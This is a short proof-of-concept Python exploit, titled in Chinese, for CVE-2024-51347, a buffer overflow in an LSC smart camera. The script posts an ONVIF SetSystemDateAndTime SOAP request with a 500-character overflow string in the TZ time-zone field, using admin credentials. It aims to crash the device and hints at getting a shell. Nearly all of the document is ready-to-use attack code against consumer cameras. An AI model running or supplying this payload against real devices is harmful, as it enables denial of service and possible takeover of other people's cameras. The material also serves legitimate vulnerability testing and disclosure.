CVE-2024-51347 LSC智能摄像头缓冲区溢出漏洞

#!/usr/bin/env python3 import requests # Target configuration # Note: Exploitation requires High Privileged (Admin) access target_url = "http://<TARGET_IP>:<PORT>/onvif/device_service" username = "admin" password = "<PASSWORD>" # Vulnerability: Buffer overflow in TZ parameter # Generating a payload to trigger the crash (e.g., 500 'A's) # Adjust length based on specific buffer size if known buffer_size = 500 payload = "A" * buffer_size # SOAP body structure to set Time Zone via ONVIF soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body> <SetSystemDateAndTime xmlns="http://www.onvif.org/ver10/device/wsdl"> <TimeZone> <TZ>{payload}</TZ> </TimeZone> <UTCDateTime>false</UTCDateTime> </SetSystemDateAndTime> </s:Body> </s:Envelope>""" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': '"http://www.onvif.org/ver10/device/wsdl/SetSystemDateAndTime"' } # Sending the malicious request try: # In a real scenario, implement Digest Auth or Basic Auth as required by the camera response = requests.post(target_url, data=soap_body, headers=headers, auth=(username, password), timeout=5) if response.status_code == 200 or response.status_code == 500: print("[+] Payload sent successfully. Check device for crash or shell.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")